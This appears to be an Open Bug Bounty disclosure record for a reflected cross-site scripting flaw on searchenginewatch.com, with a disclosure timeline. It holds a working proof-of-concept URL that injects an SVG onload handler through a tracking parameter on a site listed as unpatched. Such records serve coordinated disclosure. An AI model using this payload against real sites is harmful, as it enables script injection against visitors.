searchenginewatch.com XSS vulnerability

2017-01-02T13:59:00
ID OBB:202284
Type openbugbounty
Reporter TvM
Modified 2017-03-30T07:15:00

Description

Vulnerable URL:
https://searchenginewatch.com/sew/news/2419881/yelp-earnings-report-shows-strength-in-mobile-search?utm_medium=--!%3E%3C/script/%3E%3CSvg/Onload=confirm`OPENBUGBOUNTY`//
Details:

Description| Value
---|---
Patched:| No
Latest check for patch:| 30.07.2017
Vulnerability type:| XSS
Vulnerability status:| Publicly disclosed
Alexa Rank| 11438
VIP website status:| Yes
Check searchenginewatch.com SSL connection:| (Grade: A)

Coordinated Disclosure Timeline:

Description| Value
---|---
Vulnerability submitted via Open Bug Bounty| 2 January, 2017 13:59 GMT
Vulnerability existence verified and confirmed| 5 January, 2017 06:24 GMT
Notification sent to subscribers (without technical details)| 5 January, 2017 10:17 GMT
Vulnerability details disclosed by researcher| 30 March, 2017 07:15 GMT